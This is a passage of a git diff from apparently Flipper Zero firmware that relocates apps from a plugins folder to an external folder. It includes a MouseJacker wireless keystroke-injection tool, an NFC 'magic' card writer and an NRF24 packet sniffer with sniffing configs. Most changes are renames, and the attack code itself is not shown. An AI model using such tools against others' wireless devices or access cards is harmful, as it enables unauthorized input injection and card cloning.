applications/plugins/morse_code/morse_code_worker.c rename to applications/external/morse_code/morse_code_worker.c diff --git a/applications/plugins/morse_code/morse_code_worker.h b/applications/external/morse_code/morse_code_worker.h similarity index 100% rename from applications/plugins/morse_code/morse_code_worker.h rename to applications/external/morse_code/morse_code_worker.h diff --git a/applications/plugins/mousejacker/application.fam b/applications/external/mousejacker/application.fam similarity index 93% rename from applications/plugins/mousejacker/application.fam rename to applications/external/mousejacker/application.fam index 725e81ae8..f65b06cc2 100644 --- a/applications/plugins/mousejacker/application.fam +++ b/applications/external/mousejacker/application.fam @@ -3,7 +3,6 @@ App( name="[NRF24] Mouse Jacker", apptype=FlipperAppType.EXTERNAL, entry_point="mousejacker_app", - cdefines=["APP_MOUSEJACKER"], requires=[ "gui", "dialogs", diff --git a/applications/plugins/mousejacker/images/badusb_10px.png b/applications/external/mousejacker/images/badusb_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/badusb_10px.png rename to applications/external/mousejacker/images/badusb_10px.png diff --git a/applications/plugins/playlist/images/sub1_10px.png b/applications/external/mousejacker/images/sub1_10px.png similarity index 100% rename from applications/plugins/playlist/images/sub1_10px.png rename to applications/external/mousejacker/images/sub1_10px.png diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.c b/applications/external/mousejacker/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.c rename to applications/external/mousejacker/lib/nrf24/nrf24.c diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.h b/applications/external/mousejacker/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.h rename to applications/external/mousejacker/lib/nrf24/nrf24.h diff --git a/applications/plugins/mousejacker/mouse_10px.png b/applications/external/mousejacker/mouse_10px.png similarity index 100% rename from applications/plugins/mousejacker/mouse_10px.png rename to applications/external/mousejacker/mouse_10px.png diff --git a/applications/plugins/mousejacker/mousejacker.c b/applications/external/mousejacker/mousejacker.c similarity index 99% rename from applications/plugins/mousejacker/mousejacker.c rename to applications/external/mousejacker/mousejacker.c index 9ef23983f..cc34d9485 100644 --- a/applications/plugins/mousejacker/mousejacker.c +++ b/applications/external/mousejacker/mousejacker.c @@ -11,6 +11,7 @@ #include #include "mousejacker_ducky.h" #include +#include #define TAG "mousejacker" #define LOGITECH_MAX_CHANNEL 85 @@ -286,6 +287,7 @@ void start_mjthread(PluginState* plugin_state) { int32_t mousejacker_app(void* p) { UNUSED(p); FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + DOLPHIN_DEED(DolphinDeedPluginStart); PluginState* plugin_state = malloc(sizeof(PluginState)); mousejacker_state_init(plugin_state); diff --git a/applications/plugins/mousejacker/mousejacker_ducky.c b/applications/external/mousejacker/mousejacker_ducky.c similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.c rename to applications/external/mousejacker/mousejacker_ducky.c diff --git a/applications/plugins/mousejacker/mousejacker_ducky.h b/applications/external/mousejacker/mousejacker_ducky.h similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.h rename to applications/external/mousejacker/mousejacker_ducky.h diff --git a/applications/plugins/multi_converter/application.fam b/applications/external/multi_converter/application.fam similarity index 86% rename from applications/plugins/multi_converter/application.fam rename to applications/external/multi_converter/application.fam index e0abe3ed4..106ddb127 100644 --- a/applications/plugins/multi_converter/application.fam +++ b/applications/external/multi_converter/application.fam @@ -3,7 +3,6 @@ App( name="Multi Converter", apptype=FlipperAppType.EXTERNAL, entry_point="multi_converter_app", - cdefines=["APP_DEC_HEX_CONVERTER"], requires=["gui"], stack_size=1 * 1024, order=160, diff --git a/applications/plugins/multi_converter/converter_10px.png b/applications/external/multi_converter/converter_10px.png similarity index 100% rename from applications/plugins/multi_converter/converter_10px.png rename to applications/external/multi_converter/converter_10px.png diff --git a/applications/plugins/multi_converter/multi_converter.c b/applications/external/multi_converter/multi_converter.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter.c rename to applications/external/multi_converter/multi_converter.c diff --git a/applications/plugins/multi_converter/multi_converter_definitions.h b/applications/external/multi_converter/multi_converter_definitions.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_definitions.h rename to applications/external/multi_converter/multi_converter_definitions.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.c b/applications/external/multi_converter/multi_converter_mode_display.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.c rename to applications/external/multi_converter/multi_converter_mode_display.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.h b/applications/external/multi_converter/multi_converter_mode_display.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.h rename to applications/external/multi_converter/multi_converter_mode_display.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.c b/applications/external/multi_converter/multi_converter_mode_select.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.c rename to applications/external/multi_converter/multi_converter_mode_select.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.h b/applications/external/multi_converter/multi_converter_mode_select.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.h rename to applications/external/multi_converter/multi_converter_mode_select.h diff --git a/applications/plugins/multi_converter/multi_converter_units.c b/applications/external/multi_converter/multi_converter_units.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.c rename to applications/external/multi_converter/multi_converter_units.c diff --git a/applications/plugins/multi_converter/multi_converter_units.h b/applications/external/multi_converter/multi_converter_units.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.h rename to applications/external/multi_converter/multi_converter_units.h diff --git a/applications/plugins/multi_dice/application.fam b/applications/external/multi_dice/application.fam similarity index 100% rename from applications/plugins/multi_dice/application.fam rename to applications/external/multi_dice/application.fam diff --git a/applications/plugins/multi_dice/dice.c b/applications/external/multi_dice/dice.c similarity index 100% rename from applications/plugins/multi_dice/dice.c rename to applications/external/multi_dice/dice.c diff --git a/applications/plugins/multi_dice/dice.png b/applications/external/multi_dice/dice.png similarity index 100% rename from applications/plugins/multi_dice/dice.png rename to applications/external/multi_dice/dice.png diff --git a/applications/plugins/music_beeper/application.fam b/applications/external/music_beeper/application.fam similarity index 100% rename from applications/plugins/music_beeper/application.fam rename to applications/external/music_beeper/application.fam diff --git a/applications/plugins/music_beeper/icons/music_10px.png b/applications/external/music_beeper/icons/music_10px.png similarity index 100% rename from applications/plugins/music_beeper/icons/music_10px.png rename to applications/external/music_beeper/icons/music_10px.png diff --git a/applications/plugins/music_beeper/music_10px.png b/applications/external/music_beeper/music_10px.png similarity index 100% rename from applications/plugins/music_beeper/music_10px.png rename to applications/external/music_beeper/music_10px.png diff --git a/applications/plugins/music_beeper/music_beeper.c b/applications/external/music_beeper/music_beeper.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper.c rename to applications/external/music_beeper/music_beeper.c diff --git a/applications/plugins/music_beeper/music_beeper_cli.c b/applications/external/music_beeper/music_beeper_cli.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper_cli.c rename to applications/external/music_beeper/music_beeper_cli.c diff --git a/applications/plugins/music_beeper/music_beeper_worker.c b/applications/external/music_beeper/music_beeper_worker.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper_worker.c rename to applications/external/music_beeper/music_beeper_worker.c diff --git a/applications/plugins/music_beeper/music_beeper_worker.h b/applications/external/music_beeper/music_beeper_worker.h similarity index 100% rename from applications/plugins/music_beeper/music_beeper_worker.h rename to applications/external/music_beeper/music_beeper_worker.h diff --git a/applications/plugins/music_player/application.fam b/applications/external/music_player/application.fam similarity index 87% rename from applications/plugins/music_player/application.fam rename to applications/external/music_player/application.fam index 07f489072..1a8f5505b 100644 --- a/applications/plugins/music_player/application.fam +++ b/applications/external/music_player/application.fam @@ -1,9 +1,8 @@ App( appid="Music_Player", name="Music Player", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="music_player_app", - cdefines=["APP_MUSIC_PLAYER"], requires=[ "gui", "dialogs", @@ -12,8 +11,8 @@ App( stack_size=2 * 1024, order=45, fap_icon="icons/music_10px.png", - fap_icon_assets="icons", fap_category="Music", + fap_icon_assets="icons", ) App( diff --git a/applications/plugins/music_player/icons/music_10px.png b/applications/external/music_player/icons/music_10px.png similarity index 100% rename from applications/plugins/music_player/icons/music_10px.png rename to applications/external/music_player/icons/music_10px.png diff --git a/applications/plugins/music_player/music_player.c b/applications/external/music_player/music_player.c similarity index 100% rename from applications/plugins/music_player/music_player.c rename to applications/external/music_player/music_player.c diff --git a/applications/plugins/music_player/music_player_cli.c b/applications/external/music_player/music_player_cli.c similarity index 100% rename from applications/plugins/music_player/music_player_cli.c rename to applications/external/music_player/music_player_cli.c diff --git a/applications/plugins/music_player/music_player_worker.c b/applications/external/music_player/music_player_worker.c similarity index 100% rename from applications/plugins/music_player/music_player_worker.c rename to applications/external/music_player/music_player_worker.c diff --git a/applications/plugins/music_player/music_player_worker.h b/applications/external/music_player/music_player_worker.h similarity index 100% rename from applications/plugins/music_player/music_player_worker.h rename to applications/external/music_player/music_player_worker.h diff --git a/applications/plugins/musictracker/application.fam b/applications/external/musictracker/application.fam similarity index 78% rename from applications/plugins/musictracker/application.fam rename to applications/external/musictracker/application.fam index c0f7edca6..fe4355e86 100644 --- a/applications/plugins/musictracker/application.fam +++ b/applications/external/musictracker/application.fam @@ -1,7 +1,7 @@ App( appid="zero_tracker", name="Zero Tracker", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="zero_tracker_app", requires=[ "gui", @@ -10,5 +10,4 @@ App( order=20, fap_icon="zero_tracker.png", fap_category="Music", - fap_icon_assets="icons", ) diff --git a/applications/plugins/musictracker/tracker_engine/speaker_hal.c b/applications/external/musictracker/tracker_engine/speaker_hal.c similarity index 100% rename from applications/plugins/musictracker/tracker_engine/speaker_hal.c rename to applications/external/musictracker/tracker_engine/speaker_hal.c diff --git a/applications/plugins/musictracker/tracker_engine/speaker_hal.h b/applications/external/musictracker/tracker_engine/speaker_hal.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/speaker_hal.h rename to applications/external/musictracker/tracker_engine/speaker_hal.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker.c b/applications/external/musictracker/tracker_engine/tracker.c similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker.c rename to applications/external/musictracker/tracker_engine/tracker.c diff --git a/applications/plugins/musictracker/tracker_engine/tracker.h b/applications/external/musictracker/tracker_engine/tracker.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker.h rename to applications/external/musictracker/tracker_engine/tracker.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker_notes.h b/applications/external/musictracker/tracker_engine/tracker_notes.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker_notes.h rename to applications/external/musictracker/tracker_engine/tracker_notes.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker_song.h b/applications/external/musictracker/tracker_engine/tracker_song.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker_song.h rename to applications/external/musictracker/tracker_engine/tracker_song.h diff --git a/applications/plugins/musictracker/view/tracker_view.c b/applications/external/musictracker/view/tracker_view.c similarity index 100% rename from applications/plugins/musictracker/view/tracker_view.c rename to applications/external/musictracker/view/tracker_view.c diff --git a/applications/plugins/musictracker/view/tracker_view.h b/applications/external/musictracker/view/tracker_view.h similarity index 100% rename from applications/plugins/musictracker/view/tracker_view.h rename to applications/external/musictracker/view/tracker_view.h diff --git a/applications/plugins/musictracker/zero_tracker.c b/applications/external/musictracker/zero_tracker.c similarity index 100% rename from applications/plugins/musictracker/zero_tracker.c rename to applications/external/musictracker/zero_tracker.c diff --git a/applications/plugins/musictracker/zero_tracker.h b/applications/external/musictracker/zero_tracker.h similarity index 100% rename from applications/plugins/musictracker/zero_tracker.h rename to applications/external/musictracker/zero_tracker.h diff --git a/applications/plugins/musictracker/zero_tracker.png b/applications/external/musictracker/zero_tracker.png similarity index 100% rename from applications/plugins/musictracker/zero_tracker.png rename to applications/external/musictracker/zero_tracker.png diff --git a/applications/plugins/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam similarity index 100% rename from applications/plugins/nfc_magic/application.fam rename to applications/external/nfc_magic/application.fam diff --git a/applications/plugins/bpmtapper/images/DolphinCommon_56x48.png b/applications/external/nfc_magic/assets/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/bpmtapper/images/DolphinCommon_56x48.png rename to applications/external/nfc_magic/assets/DolphinCommon_56x48.png diff --git a/applications/plugins/nfc_magic/assets/DolphinNice_96x59.png b/applications/external/nfc_magic/assets/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinNice_96x59.png rename to applications/external/nfc_magic/assets/DolphinNice_96x59.png diff --git a/applications/plugins/nfc_magic/assets/Loading_24.png b/applications/external/nfc_magic/assets/Loading_24.png similarity index 100% rename from applications/plugins/nfc_magic/assets/Loading_24.png rename to applications/external/nfc_magic/assets/Loading_24.png diff --git a/applications/plugins/nfc_magic/assets/NFC_manual_60x50.png b/applications/external/nfc_magic/assets/NFC_manual_60x50.png similarity index 100% rename from applications/plugins/nfc_magic/assets/NFC_manual_60x50.png rename to applications/external/nfc_magic/assets/NFC_manual_60x50.png diff --git a/applications/plugins/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c similarity index 98% rename from applications/plugins/nfc_magic/lib/magic/magic.c rename to applications/external/nfc_magic/lib/magic/magic.c index a922bc7a8..9a71daaa0 100644 --- a/applications/plugins/nfc_magic/lib/magic/magic.c +++ b/applications/external/nfc_magic/lib/magic/magic.c @@ -6,8 +6,7 @@ #define MAGIC_CMD_WUPA (0x40) #define MAGIC_CMD_WIPE (0x41) -#define MAGIC_CMD_READ (0x43) -#define MAGIC_CMD_WRITE (0x43) +#define MAGIC_CMD_ACCESS (0x43) #define MAGIC_MIFARE_READ_CMD (0x30) #define MAGIC_MIFARE_WRITE_CMD (0xA0) @@ -70,7 +69,7 @@ bool magic_data_access_cmd() { FuriHalNfcReturn ret = 0; do { - tx_data[0] = MAGIC_CMD_WRITE; + tx_data[0] = MAGIC_CMD_ACCESS; ret = furi_hal_nfc_ll_txrx_bits( tx_data, 8, diff --git a/applications/plugins/nfc_magic/lib/magic/magic.h b/applications/external/nfc_magic/lib/magic/magic.h similarity index 100% rename from applications/plugins/nfc_magic/lib/magic/magic.h rename to applications/external/nfc_magic/lib/magic/magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c similarity index 98% rename from applications/plugins/nfc_magic/nfc_magic.c rename to applications/external/nfc_magic/nfc_magic.c index 1805f35ed..0a015ec77 100644 --- a/applications/plugins/nfc_magic/nfc_magic.c +++ b/applications/external/nfc_magic/nfc_magic.c @@ -1,4 +1,5 @@ #include "nfc_magic_i.h" +#include bool nfc_magic_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -160,6 +161,7 @@ int32_t nfc_magic_app(void* p) { UNUSED(p); NfcMagic* nfc_magic = nfc_magic_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneStart); view_dispatcher_run(nfc_magic->view_dispatcher); diff --git a/applications/plugins/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic.h rename to applications/external/nfc_magic/nfc_magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_i.h rename to applications/external/nfc_magic/nfc_magic_i.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c similarity index 95% rename from applications/plugins/nfc_magic/nfc_magic_worker.c rename to applications/external/nfc_magic/nfc_magic_worker.c index 32202f12d..1564c87cd 100644 --- a/applications/plugins/nfc_magic/nfc_magic_worker.c +++ b/applications/external/nfc_magic/nfc_magic_worker.c @@ -88,15 +88,17 @@ void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { card_found_notified = true; } furi_hal_nfc_sleep(); - if(!magic_wupa()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; } + furi_hal_nfc_sleep(); + } + if(magic_wupa()) { if(!magic_data_access_cmd()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to data access command (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker.h rename to applications/external/nfc_magic/nfc_magic_worker.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker_i.h rename to applications/external/nfc_magic/nfc_magic_worker_i.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.c b/applications/external/nfc_magic/scenes/nfc_magic_scene.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.h b/applications/external/nfc_magic/scenes/nfc_magic_scene.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_check.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene_config.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_start.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_success.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c diff --git a/applications/plugins/nightstand/application.fam b/applications/external/nightstand_clock/application.fam similarity index 91% rename from applications/plugins/nightstand/application.fam rename to applications/external/nightstand_clock/application.fam index ea28c7b77..1fb572054 100644 --- a/applications/plugins/nightstand/application.fam +++ b/applications/external/nightstand_clock/application.fam @@ -4,7 +4,6 @@ App( apptype=FlipperAppType.EXTERNAL, entry_point="clock_app", requires=["gui"], - icon="A_Clock_14", stack_size=2 * 1024, fap_icon="clock.png", fap_category="Misc", diff --git a/applications/plugins/nightstand/clock.png b/applications/external/nightstand_clock/clock.png similarity index 100% rename from applications/plugins/nightstand/clock.png rename to applications/external/nightstand_clock/clock.png diff --git a/applications/plugins/nightstand/clock_app.c b/applications/external/nightstand_clock/clock_app.c similarity index 100% rename from applications/plugins/nightstand/clock_app.c rename to applications/external/nightstand_clock/clock_app.c diff --git a/applications/plugins/nightstand/clock_app.h b/applications/external/nightstand_clock/clock_app.h similarity index 100% rename from applications/plugins/nightstand/clock_app.h rename to applications/external/nightstand_clock/clock_app.h diff --git a/applications/external/nrf24scan/Distr/nrf24scan/addr-CO2mini.txt b/applications/external/nrf24scan/Distr/nrf24scan/addr-CO2mini.txt new file mode 100644 index 000000000..d159da337 --- /dev/null +++ b/applications/external/nrf24scan/Distr/nrf24scan/addr-CO2mini.txt @@ -0,0 +1,7 @@ +Rate: 1 +Ch: 122 +ESB: 1 +DPL: 0 +CRC: 2 +Payload: 4 +P0: C8C8C1 diff --git a/applications/external/nrf24scan/Distr/nrf24scan/addr-WCO1.txt b/applications/external/nrf24scan/Distr/nrf24scan/addr-WCO1.txt new file mode 100644 index 000000000..658340d03 --- /dev/null +++ b/applications/external/nrf24scan/Distr/nrf24scan/addr-WCO1.txt @@ -0,0 +1,7 @@ +Rate: 1 +Ch: 120 +ESB: 1 +DPL: 1 +CRC: 2 +Payload: 4 +P0: C8C8E5 diff --git a/applications/external/nrf24scan/Distr/nrf24scan/addresses.txt b/applications/external/nrf24scan/Distr/nrf24scan/addresses.txt new file mode 100644 index 000000000..e5bd3ed32 --- /dev/null +++ b/applications/external/nrf24scan/Distr/nrf24scan/addresses.txt @@ -0,0 +1,11 @@ +Rate: 1 +Ch: 2 +ESB: 1 +DPL: 0 +CRC: 2 +Payload: 4 +P0: C8C8C0 +P1: C8C8C1 +P2: C2 +P3: C3 +P4: E5 diff --git a/applications/external/nrf24scan/Distr/nrf24scan/sniff.txt b/applications/external/nrf24scan/Distr/nrf24scan/sniff.txt new file mode 100644 index 000000000..fa8c5ba9f --- /dev/null +++ b/applications/external/nrf24scan/Distr/nrf24scan/sniff.txt @@ -0,0 +1,5 @@ +SNIFF +ESB: 1 +CRC: 2 +P0: 00AA +P1: 0055 diff --git a/applications/plugins/rc2014_coleco/LICENSE b/applications/external/nrf24scan/LICENSE similarity index 100% rename from applications/plugins/rc2014_coleco/LICENSE rename to applications/external/nrf24scan/LICENSE diff --git a/applications/plugins/nrf24scan/application.fam b/applications/external/nrf24scan/application.fam similarity index 100% rename from applications/plugins/nrf24scan/application.fam rename to applications/external/nrf24scan/application.fam diff --git a/applications/plugins/nrf24scan/lib/nrf24/nrf24.c b/applications/external/nrf24scan/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/nrf24scan/lib/nrf24/nrf24.c rename to applications/external/nrf24scan/lib/nrf24/nrf24.c diff --git a/applications/plugins/nrf24scan/lib/nrf24/nrf24.h b/applications/external/nrf24scan/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/nrf24scan/lib/nrf24/nrf24.h rename to applications/external/nrf24scan/lib/nrf24/nrf24.h diff --git a/applications/plugins/nrf24scan/nrf24_packet_decoder.py b/applications/external/nrf24scan/nrf24_packet_decoder.py similarity index 100% rename from applications/plugins/nrf24scan/nrf24_packet_decoder.py rename to applications/external/nrf24scan/nrf24_packet_decoder.py diff --git a/applications/plugins/nrf24scan/nrf24scan.c b/applications/external/nrf24scan/nrf24scan.c similarity index 98% rename from applications/plugins/nrf24scan/nrf24scan.c rename to applications/external/nrf24scan/nrf24scan.c index d66e7caf6..d7a8b3d31 100644 --- a/applications/plugins/nrf24scan/nrf24scan.c +++ b/applications/external/nrf24scan/nrf24scan.c @@ -12,6 +12,7 @@ #include #include #include +#include #define TAG "nrf24scan" #define VERSION "2.2" @@ -531,6 +532,7 @@ static void prepare_nrf24(bool fsend_packet) { nrf24_HANDLE, REG_FEATURE, 0); // Enables the W_TX_PAYLOAD_NOACK command, Disable Payload with ACK, set Dynamic Payload + // EN_DYN_ACK(0x01) for W_TX_PAYLOAD_NOACK cmd broke AA on some fake nRF24l01+ modules } else if(setup_from_log) { // Scan nrf24_write_reg( nrf24_HANDLE, @@ -543,8 +545,8 @@ static void prepare_nrf24(bool fsend_packet) { nrf24_HANDLE, REG_FEATURE, *(rec + 2 + addr_size) >> 2 != 0x33 ? - 4 + 1 : - 1); // Enables the W_TX_PAYLOAD_NOACK command, Disable Payload with ACK, set Dynamic Payload + 4 : + 0); // Enables the W_TX_PAYLOAD_NOACK command, Disable Payload with ACK, set Dynamic Payload if(*(rec + 1) & 0b100) { // ESB nrf24_write_reg(nrf24_HANDLE, REG_SETUP_RETR, 0x01); // Automatic Retransmission nrf24_write_reg(nrf24_HANDLE, REG_EN_AA, 0x3F); // Auto acknowledgement @@ -569,8 +571,8 @@ static void prepare_nrf24(bool fsend_packet) { nrf24_HANDLE, REG_FEATURE, NRF_DPL ? - 4 + 1 : - 1); // Enables the W_TX_PAYLOAD_NOACK command, Disable Payload with ACK, set Dynamic Payload + 4 : + 0); // Enables the W_TX_PAYLOAD_NOACK command, Disable Payload with ACK, set Dynamic Payload nrf24_write_reg( nrf24_HANDLE, REG_DYNPD, NRF_DPL ? 0x3F : 0); // Enable dynamic payload reg nrf24_write_reg(nrf24_HANDLE, REG_RF_CH, NRF_channel); @@ -908,7 +910,7 @@ bool nrf24_send_packet() { nrf24_set_maclen(nrf24_HANDLE, 2); nrf24_set_mac(REG_RX_ADDR_P0, adr, 2); nrf24_set_mac(REG_TX_ADDR, adr, 2); - last_packet_send_st = nrf24_txpacket(nrf24_HANDLE, ptr + 2 + 2, 32 - 2, false); + last_packet_send_st = nrf24_txpacket(nrf24_HANDLE, ptr + 2 + 2, 32 - 2, true); } else { nrf24_write_reg( nrf24_HANDLE, REG_SETUP_RETR, NRF_ESB ? 0x11 : 0); // Automatic Retransmission @@ -942,7 +944,7 @@ bool nrf24_send_packet() { NRF_CRC == 2 ? 0b1100 : 0))); // Mask all interrupts nrf24_write_reg(nrf24_HANDLE, REG_DYNPD, NRF_DPL ? 0x3F : 0); // Enable dynamic payload reg - last_packet_send_st = nrf24_txpacket(nrf24_HANDLE, ptr + 2, a, false); + last_packet_send_st = nrf24_txpacket(nrf24_HANDLE, ptr + 2, a, true); } last_packet_send = view_log_arr_idx; notification_message( @@ -953,10 +955,9 @@ bool nrf24_send_packet() { } static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); const PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - + if(plugin_state == NULL) return; + if(furi_mutex_acquire(plugin_state->mutex, 25) != FuriStatusOk) return; //canvas_draw_frame(canvas, 0, 0, 128, 64); // border around the edge of the screen if(what_doing == 0) { canvas_set_font(canvas, FontSecondary); // 8x10 font, 6 lines @@ -1331,13 +1332,14 @@ static void render_callback(Canvas* const canvas, void* ctx) { int32_t nrf24scan_app(void* p) { UNUSED(p); APP = malloc(sizeof(Nrf24Scan)); + DOLPHIN_DEED(DolphinDeedPluginStart); APP->event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - APP->plugin_state = malloc(sizeof(PluginState)); - APP->plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!APP->plugin_state->mutex) { + PluginState* plugin_state = malloc(sizeof(PluginState)); + plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); + if(!plugin_state->mutex) { furi_message_queue_free(APP->event_queue); FURI_LOG_E(TAG, "cannot create mutex"); - free(APP->plugin_state); + free(plugin_state); return 255; } APP->log_arr = 